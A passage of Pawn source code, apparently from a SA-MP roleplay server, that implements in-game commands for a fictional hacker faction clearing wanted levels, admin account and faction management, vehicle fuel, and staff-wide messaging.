		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s is trying to hack cops systems",rankname,name);
		SendHackerMessage(COLOR_HACKER, hwarn);
		return 1;
		}
		
		
		
			if(strcmp(cmd, "/hackwanted", true) == 0)
			{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(ICanHackWanted[playerid] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You should first hack cops systems.");
		tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /hackwanted <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
				if(PINFO[giveplayerid][pAdmin] >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: You can't hack higher admins wanted levels.");
				if(IsAHacker(giveplayerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You can't hack hackers wanted levels.");
				if(PlayerInfo[giveplayerid][pWanted] == 0)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: That player doesn't have any wanteds.");
				return 1;
				}
				SetPlayerWantedLevel(giveplayerid, 0);
				new adminame[MAX_PLAYER_NAME];
				new giveplayers[MAX_PLAYER_NAME];
				GetPlayerName(giveplayerid,giveplayers,sizeof(giveplayers));
				GetPlayerName(playerid,adminame,sizeof(adminame));
				new strr[144];
				format(strr,sizeof(strr),"Hacker %s has hacked cops systems and cleared your name from wanteds list.",adminame);
				ICanHackWanted[playerid] = 0;
				PlayerInfo[playerid][pFAct2] += 1;
				SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
				SCM(giveplayerid,COLOR_SINARANG,strr);
			 GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
			 GetPlayerName(playerid, sendername, sizeof(sendername));
new hwarn[144];
new name[MAX_PLAYER_NAME];
new rankname[50];
if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
GetPlayerName(playerid, name, sizeof(name));
format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s hacked %s's wanteds",rankname,name,giveplayer);
SendHackerMessage(COLOR_HACKER, hwarn);
				return 1;
				}
				else {
				SCM(playerid,COLOR_YELLOW2,"Error: Player is offline.");
				return 1;
				}
				}
		

if(!strcmp(cmd,"/changenickoffline",true))
{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	tmp = strtok(cmdtext,idx);
	if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickoffline <FullName> <NewName>");
    new oldname[MAX_PLAYER_NAME];
    format(oldname,MAX_PLAYER_NAME,tmp);
	tmp = strtok(cmdtext,idx);
	if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickoffline <FullName> <NewName>");
	new newname[MAX_PLAYER_NAME];
	format(newname,MAX_PLAYER_NAME,tmp);
	if(FindBadSign(newname))return SCM(playerid,COLOR_YELLOW2,"Use A-Z a-z 0-9 () [] . in new name");
	if(strlen(newname)<3||strlen(newname)>20)return SCM(playerid,COLOR_YELLOW2,"New name couldn't be longer than 20 characters or less than 3 characters");
 	new id=ReturnUserEx(oldname);
  	if(id!=INVALID_PLAYER_ID)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
	new thequery[100];
	mysql_format(handle,thequery,sizeof(thequery),"SELECT * FROM `users` WHERE pName='%e'",newname);
	new Cache:Result=mysql_query(handle,thequery);
	if(cache_num_rows()>0)return SCM(playerid, COLOR_YELLOW2, "Error: New name is exist in database.");
	cache_delete(Result);
	new query[64];
	mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",oldname);
	mysql_tquery(handle,query,"OnOfflineChangeNickSearch","ssi",oldname,newname,playerid);
	return 1;
}		
if(!strcmp(cmd,"/changepass",true))
{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	tmp = strtok(cmdtext,idx);
	if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changepass <FullName> <NewPassword>");
	new newpass[206];
	newpass = strtokXE(cmdtext, idx);
	if(!strlen(newpass)) return SCM(playerid,COL_SYN,"Syntax: /changepass <FullName> <NewPassword>");
	new length = strlen(newpass);
	if(length<2||length>128)return SCM(playerid,COLOR_YELLOW2,"New password couldn't less than 2 characters and more than 100 characters");
	if(FindBadSign(newpass)) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid new password entered.");
	if(!strcmp(tmp, PINFO[playerid][pName], true)) return SCM(playerid,COLOR_YELLOW2,"Error: You couldn't change your account's password with this method.");
	new GooZoo[80];
	new adminer;
	mysql_format(handle, GooZoo, sizeof(GooZoo), "SELECT * FROM `users` WHERE pName='%e'",tmp);
	new Cache:Mirza=mysql_query(handle, GooZoo, true);
	adminer = cache_get_field_content_int(0,"pAdmin");
	if(adminer > PINFO[playerid][pAdmin]) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	cache_delete(Mirza);
	new query[80];
	mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
	mysql_tquery(handle,query,"OnOfflineChangePassSearch","ssi",tmp,newpass,playerid);
	return 1;
}
	if(strcmp(cmd, "/factions", true) == 0)
{
	ShowFactions(playerid);
	return true;
}
		if (strcmp(cmd, "/faclock", true) == 0)
		{
              if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command.");
              if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
              if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
              if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		        tmp = strtok(cmdtext,idx);
           if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /faclock <FactionID>");
		  new idfac = strval(tmp);
		  if(idfac >= 18 || idfac <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Type a faction id between 1 to 17.");
		  if(idfac == 7)return SCM(playerid,COLOR_YELLOW2,"Error: Mayor's faction settings couldn't be changed.");
				    new sinastr[256];
				    new adminwarnsend[144];
				    new thefac = idfac-1;
				    new facname[60];
				    if(idfac == 1) facname = "{0000ff}Police Department";
				    if(idfac == 2) facname = "{0000CC}FBI";
				    if(idfac == 3) facname = "{2c4c9b}National Guard";
				    if(idfac == 4) facname = "{FF6600}Medic";
				    if(idfac == 5) facname = "{5D7E8D}Silence Mafia";
				    if(idfac == 6) facname = "{3E3535}The Killers Family";
				    if(idfac == 7) facname = "{BBF060}Mayor";
				    if(idfac == 8) facname = "{8E2323}Hitman Agency";
				    if(idfac == 9) facname = "{825B8C}News Reporter";
				    if(idfac == 10) facname = "{FFFF00}Taxi Driver";
				    if(idfac == 11) facname = "{00a6ff}School Instructor";
				    if(idfac == 12) facname = "{19AF23}Dangerous Tiger Family";
				    if(idfac == 13) facname = "{FFBA00}Legendary Men Family";
				    if(idfac == 14) facname = "{B32CF6}Fast N Furious Family";
				    if(idfac == 15) facname = "{00ECEC}Storm Men Family";
				    if(idfac == 16) facname = "{F9F7CE}Tow Truck Company";
				    if(idfac == 17) facname = "{7A7399}Unknowns";
					if(DynamicFactions[thefac][fApplication] == 1)
					{
	                    format(adminwarnsend, sizeof(adminwarnsend), "{ffffff}Admin %s has unlocked faction %s(%d)",RPName(playerid), facname, idfac);
                        AdminWarn(adminwarnsend);
						DynamicFactions[thefac][fApplication] = 0;
						mysql_format(handle, sinastr, sizeof(sinastr), "UPDATE `factions` SET `fApplication` = '0' WHERE `ID` = '%d'", thefac);
						mysql_tquery(handle,sinastr,"","");
					}
					else if(DynamicFactions[thefac][fApplication] == 0)
					{
	                    format(adminwarnsend, sizeof(adminwarnsend), "{ffffff}Admin %s has locked faction %s(%d)",RPName(playerid), facname, idfac);
                        AdminWarn(adminwarnsend);
						DynamicFactions[thefac][fApplication] = 1;
						mysql_format(handle, sinastr, sizeof(sinastr), "UPDATE `factions` SET `fApplication` = '1' WHERE `ID` = '%d'", thefac);
						mysql_tquery(handle,sinastr,"","");
					}
			return 1;
		}
		
		
if(strcmp(cmd, "/fminlevel", true) == 0)
		{
        if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command.");
        if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		tmp = strtok(cmdtext,idx);
		new fid,MaxLevel;
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /fminlevel <FactionID> <MinLevel>");
	    fid = strval(tmp);
		if(fid <= 0 || fid >= 18)return SCM(playerid,COLOR_YELLOW2,"Error: FactionID must be 1 to 17.");
		if(fid == 7)return SCM(playerid,COLOR_YELLOW2,"Error: Mayor's faction settings couldn't be changed.");
  		tmp = strtok(cmdtext, idx);
      	if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /fminlevel <FactionID> <MinLevel>");
      	MaxLevel = strval(tmp);
      	if(MaxLevel <= 2 || MaxLevel >= 21)return SCM(playerid,COLOR_YELLOW2,"Error: Min level must be 3 to 20.");
      	DynamicFactions[fid-1][fMinLevel] = MaxLevel;
      	mysql_format(handle, string, sizeof(string), "UPDATE `factions` SET `fMinLevel`='%d' WHERE `ID`='%d'",DynamicFactions[fid-1][fMinLevel], fid-1);
		mysql_tquery(handle,string,"","");
		new facname[60];
		if(fid == 1) facname = "{0000ff}Police Department";
        if(fid == 2) facname = "{0000CC}FBI";
		if(fid == 3) facname = "{2c4c9b}National Guard";
		if(fid == 4) facname = "{FF6600}Medic";
		if(fid == 5) facname = "{5D7E8D}Silence Mafia";
		if(fid == 6) facname = "{3E3535}The Killers Family";
		if(fid == 7) facname = "{BBF060}Mayor";
		if(fid == 8) facname = "{8E2323}Hitman Agency";
		if(fid == 9) facname = "{825B8C}News Reporter";
		if(fid == 10) facname = "{FFFF00}Taxi Driver";
		if(fid == 11) facname = "{00a6ff}School Instructor";
		if(fid == 12) facname = "{19AF23}Dangerous Tiger Family";
		if(fid == 13) facname = "{FFBA00}Legendary Men Family";
		if(fid == 14) facname = "{B32CF6}Fast N Furious Family";
		if(fid == 15) facname = "{00ECEC}Storm Men Family";
		if(fid == 16) facname = "{F9F7CE}Tow Truck Company";
		if(fid == 17) facname = "{7A7399}Unknowns";
		new adminwarnsend[144];
	    format(adminwarnsend, sizeof(adminwarnsend), "{ffffff}Admin %s has set faction %s(%d){ffffff}'s minimum level to %d",RPName(playerid), facname, fid, DynamicFactions[fid-1][fMinLevel]);
        AdminWarn(adminwarnsend);
		return 1;
		}		
		
		
		if(strcmp(cmd, "/fmaxmembers", true) == 0)
		{
        if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command.");
        if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		tmp = strtok(cmdtext,idx);
		new fid,maxmembers;
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /fmaxmembers <FactionID> <MaxMembers>");
	    fid = strval(tmp);
		if(fid <= 0 || fid >= 18)return SCM(playerid,COLOR_YELLOW2,"Error: FactionID must be 1 to 17.");
		if(fid == 7)return SCM(playerid,COLOR_YELLOW2,"Error: Mayor's faction settings couldn't be changed.");
  		tmp = strtok(cmdtext, idx);
      	if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /fmaxmembers <FactionID> <MaxMembers>");
      	maxmembers = strval(tmp);
      	if(maxmembers <= 4 || maxmembers >= 21)return SCM(playerid,COLOR_YELLOW2,"Error: Max members must be 5 to 20.");
      	DynamicFactions[fid-1][fMaxMembers] = maxmembers;
      	mysql_format(handle, string, sizeof(string), "UPDATE `factions` SET `fMaxMembers`='%d' WHERE `ID`='%d'",DynamicFactions[fid-1][fMaxMembers], fid-1);
		mysql_tquery(handle,string,"","");
		new facname[60];
		if(fid == 1) facname = "{0000ff}Police Department";
        if(fid == 2) facname = "{0000CC}FBI";
		if(fid == 3) facname = "{2c4c9b}National Guard";
		if(fid == 4) facname = "{FF6600}Medic";
		if(fid == 5) facname = "{5D7E8D}Silence Mafia";
		if(fid == 6) facname = "{3E3535}The Killers Family";
		if(fid == 7) facname = "{BBF060}Mayor";
		if(fid == 8) facname = "{8E2323}Hitman Agency";
		if(fid == 9) facname = "{825B8C}News Reporter";
		if(fid == 10) facname = "{FFFF00}Taxi Driver";
		if(fid == 11) facname = "{00a6ff}School Instructor";
		if(fid == 12) facname = "{19AF23}Dangerous Tiger Family";
		if(fid == 13) facname = "{FFBA00}Legendary Men Family";
		if(fid == 14) facname = "{B32CF6}Fast N Furious Family";
		if(fid == 15) facname = "{00ECEC}Storm Men Family";
		if(fid == 16) facname = "{F9F7CE}Tow Truck Company";
		if(fid == 17) facname = "{7A7399}Unknowns";
		new adminwarnsend[144];
	    format(adminwarnsend, sizeof(adminwarnsend), "{ffffff}Admin %s has set faction %s(%d){ffffff}'s max members to %d",RPName(playerid), facname, fid, DynamicFactions[fid-1][fMaxMembers]);
        AdminWarn(adminwarnsend);
		return 1;
		}
		
		if(strcmp(cmd, "/facinfo", true) == 0)
		{
        if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /facinfo <FactionID>");
		new id;
		new realsqlid;
		new momo[144];
	    id = strval(tmp);
	    if(id <= 0 || id >= 18)return SCM(playerid,COLOR_YELLOW2,"Error: FactionID must be 1 to 17.");
	    realsqlid = (id-1);
	    new fmembers = GetFactionMembers(realsqlid);
	    new fminlevel = DynamicFactions[realsqlid][fMinLevel];
	    new fmaxmembers = DynamicFactions[realsqlid][fMaxMembers];
	    new SaveThese1[100];
	    new SaveThese2[100];
	    new SaveThese3[100];
	    format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[realsqlid][fApplication] > 0) ? ("{00ff00}UnLocked") : ("{ff0000}Locked"));
	    format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	    format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	    strcpy(SaveThisData1[playerid],SaveThese1,100);
	    strcpy(SaveThisData2[playerid],SaveThese2,100);
	    strcpy(SaveThisData3[playerid],SaveThese3,100);
	    SendMessage(playerid, CRISTIAN, "_______________________________________________");
		format(momo, sizeof(momo), "Faction Name: %s(%d)",GetFacName(id), id);
		SendMessage(playerid, COLOR_YELLOW, momo);
		GetFacLeaderByID(playerid, id);
	    GetThisFac[playerid] = SetTimerEx("GetThisFacZ", 50, false, "i", playerid);
		return 1;
		}
		
		if(strcmp(cmd, "/uninviteoffline", true) == 0)
		{
		        if(PINFO[playerid][pLeader] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Only leaders can use this command.");
		        if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /uninviteoffline <FullName> <FactionPunish>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if(level <= -1 || level >= 81) return SCM(playerid,COLOR_YELLOW2,"Error: Faction Punish must be between 0 to 80.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /uninviteoffline <FullName> <FactionPunish>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				TakeThatMember(playerid,tmp,level);
			return 1;
		}
		if(strcmp(cmd, "/setrankoffline", true) == 0)
		{
		        if(PINFO[playerid][pLeader] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Only leaders can use this command.");
		        if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		        if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /setrankoffline <FullName> <Rank>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if(level <= 0 || level >= 7) return SCM(playerid,COLOR_YELLOW2,"Error: Rank must be between 1 to 6.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /setrankoffline <FullName> <Rank>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				SetRankThatPlayer(playerid,tmp,level);
			return 1;
		}
		
		if(strcmp(cmd, "/fmembers", true) == 0)
		{
		if(PINFO[playerid][pLeader] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Only leaders can use this command.");
		if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		new factionid;
		factionid = PINFO[playerid][pLeader];
        new query[256];
        mysql_format(handle, query,256,"SELECT * FROM `users` WHERE pMember='%d'",factionid);
        mysql_function_query(handle,query,false,"ShowMyMembers","i", playerid);
		return 1;
		}
 	if(strcmp(cmd, "/togglesnow", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
    if(Snow==false)
    {
    Snow=true;
    for(new i=0,j=GetPlayerPoolSize();i<=j;i++)
    {
    	if(FCNPC_IsValid(i))continue;
        SnowObject[i]=CreateDynamicObject(18864,99999,99999,99999,0,0,50);
    }
    format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has toggled snow on",RPName(playerid));
    SendAdminMessage(COLOR_AdminWarn,string);
    return 1;
    }
    else if(Snow==true)
    {
    Snow=false;
    for(new i=0,j=GetPlayerPoolSize();i<=j;i++)
    {
    	if(FCNPC_IsValid(i))continue;
        DestroyDynamicObject(SnowObject[i]);
    }
    format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has toggled snow off",RPName(playerid));
    SendAdminMessage(COLOR_AdminWarn,string);
    return 1;
	}
    return 1;
	}
		if(strcmp(cmd, "/nicklog", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
		 SCM(playerid,COL_SYN,"Syntax: /nicklog <FullName>");
		return 1;
		}
		new query[512];
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `logs` WHERE No='11' AND Player='%e'", tmp);
        new Cache:result=mysql_query(handle,query);
        if(cache_num_rows()==0) return SCM(playerid, COLOR_YELLOW2, "Current change names: 0.");
        new getname[30];
        new getname2[30];
        new getdateaf[50];
        new kasikeusere[30];
        new Counter = 0;
        new Send[50];
        new Senderx[144];
        new Senderz[144];
        format(Senderz, 144, "_________[{ffffff}%s's change names{0DC013}]_________",tmp);
		SendMessage(playerid, CRISTIAN, Senderz);
        for(new i=0;i<cache_num_rows();i++)
        {
        new number = (i+1);
        cache_get_field_content(i,"Harf",getname,handle,sizeof(getname));
        cache_get_field_content(i,"Harf2",getname2,handle,sizeof(getname2));
        cache_get_field_content(i,"Date",getdateaf,handle,sizeof(getdateaf));
        cache_get_field_content(i,"Taraf",kasikeusere,handle,sizeof(kasikeusere));
        format(Senderx, 144, "%i_ Old Name: {ff0000}%s{F5DEB3}, New Name: {ff0000}%s", number, getname, getname2);
		SendMessage(playerid, COLOR_SINARANG, Senderx);
        format(Senderx, 144, "%i_ Date: {ff0000}%s{F5DEB3}, By: {ff0000}%s", number, getdateaf, kasikeusere);
		SendMessage(playerid, COLOR_SINARANG, Senderx);
        Counter++;
		}
		format(Send, 144, "Current change names: %i.",Counter);
		SendMessage(playerid, COLOR_YELLOW2, Send);
	    cache_delete(result);
		return 1;
		}
		
		
	    if(!strcmp(cmd, "/ftc", true))
	    {
	        if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	        if(!IsPlayerInAnyVehicle(playerid))return SCM(playerid,COLOR_YELLOW2,"Error: You aren't in any vehicle.");
	        tmp = strtok(cmdtext, idx);
	        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /ftc <Amount>");
	        new benz = strval(tmp);
	        new admin = PINFO[playerid][pAdmin];
	        if(benz < 0)return SCM(playerid,COLOR_YELLOW2,"Error: Fuel couldn't be less than 0.");
	        if(admin < 7 && benz >= 101)return SCM(playerid,COLOR_YELLOW2,"Error: Fuel couldn't be more than 100.");
	        if(admin < 10 && benz >= 151)return SCM(playerid,COLOR_YELLOW2,"Error: Fuel couldn't be more than 150.");
	        if(admin < 12 && benz >= 201)return SCM(playerid,COLOR_YELLOW2,"Error: Fuel couldn't be more than 200.");
	        if(admin >= 12 && benz >= 1000001)return SCM(playerid,COLOR_YELLOW2,"Error: Fuel couldn't be more than 1,000,000.");
	        	new vehicleid=GetPlayerVehicleID(playerid);
	        	if(OwnedMashin[vehicleid] == 1 && benz >= 151) return SCM(playerid, COLOR_YELLOW2, "Error: You can't fill a personal vehicle more than 150.");
	        	Benzin[vehicleid]=benz;
	            new lolstr[100];
	            format(lolstr,100, "{ffffff}Admin %s has set vehicleid %d's fuel to %s%%%",RPName(playerid),vehicleid,FormatNumber(benz));
	            AdminWarn(lolstr);
	       return 1;
	    }
	    if(!strcmp(cmd, "/fillveh", true))
	    {
	        if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	        if(!IsPlayerInAnyVehicle(playerid))return SCM(playerid,COLOR_YELLOW2,"Error: You aren't in any vehicle.");
	        	new vehicleid=GetPlayerVehicleID(playerid);
	        	Benzin[vehicleid]=100;
	            new lolstr[100];
	            format(lolstr,100, "{ffffff}Admin %s has filled vehicleid %d",RPName(playerid),vehicleid);
	            AdminWarn(lolstr);
	       return 1;
	    }
		





if(strcmp(cmd, "/staffmsg", true) == 0)
{
if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
tmp = strtokEx(cmdtext, idx);
if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /staffmsg <Message>");
new message[114];
new gathername[26];
new ferestande[30];
new mohemm = 1;
ferestande = "{FF0000}STAFF{ffffff}";
format(message,113,tmp);
new length = strlen(tmp);
if(length >= 112) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too long.");
if(length < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too low.");
new query[1024];
new setter = 0;
mysql_format(handle, query, sizeof(query), "SELECT * FROM `users` WHERE pAdmin>='1' OR pHelper>='1' OR pLeader>='1'");
new Cache:result=mysql_query(handle, query, true);
new KeyOomad[60];
new year,month,day,hour,minute,sec;
gettime(hour,minute,sec);
getdate(year,month,day);
new NaneJoon[60];
format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
strcpy(KeyOomad,NaneJoon,60);
if(PINFO[playerid][pAdmin]<12)CensorText(message);
for(new i = 0;i<cache_num_rows(); i++)
{
cache_get_field_content(i,"pName",gathername,handle,sizeof(gathername));
mysql_format(handle, query, sizeof(query), "INSERT INTO `messages` (`Receiver`,`Sender`,`Message`,`Time`,`Readed`,`StaffMSG`) VALUES ('%e','%e','%e','%e','%d','%d')", gathername,ferestande,message,KeyOomad,setter,mohemm );
mysql_tquery(handle, query);
}
cache_delete(result);
for(new l=0;l<MAX_PLAYERS;l++)
{
if(IsPlayerConnected(l))
{
if(gPlayerLogged[playerid] != 0)
{
if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1 || PINFO[playerid][pLeader] >= 1)
{
SCM(l, COLOR_Good, "You have a new message in your messages box.");
}
}
}
}
new PMer[144];
format(PMer, 144, "%s{FFFF00} sent to {b8ffdb}all staffs{FFFF00}.",message);
SWM(playerid, COLOR_Good, PMer);
new pmmmm[70];
format(pmmmm, sizeof(pmmmm), "{ffffff}Admin %s sent a message to all staffs",RPName(playerid));
AdminWarn(pmmmm);
if(IsAdv(message)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
for(new i; i < sizeof(SusWords); i++)
{
if(PINFO[playerid][pAdmin] < 12)
{
if(strfind(message, SusWords[i], true) != -1)
{
new mnsmns[144];
format(mnsmns, sizeof(mnsmns), "[AD-{00FF00}MESSAGE-ALL-STAFFS{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", RPName(playerid), playerid, message);
SendAdminMMessage(COLOR_SINAGHERMEZ,mnsmns);
break;
}
}
}
return 1;
}




		
		
		
if(strcmp(cmd, "/msgall", true) == 0)
{
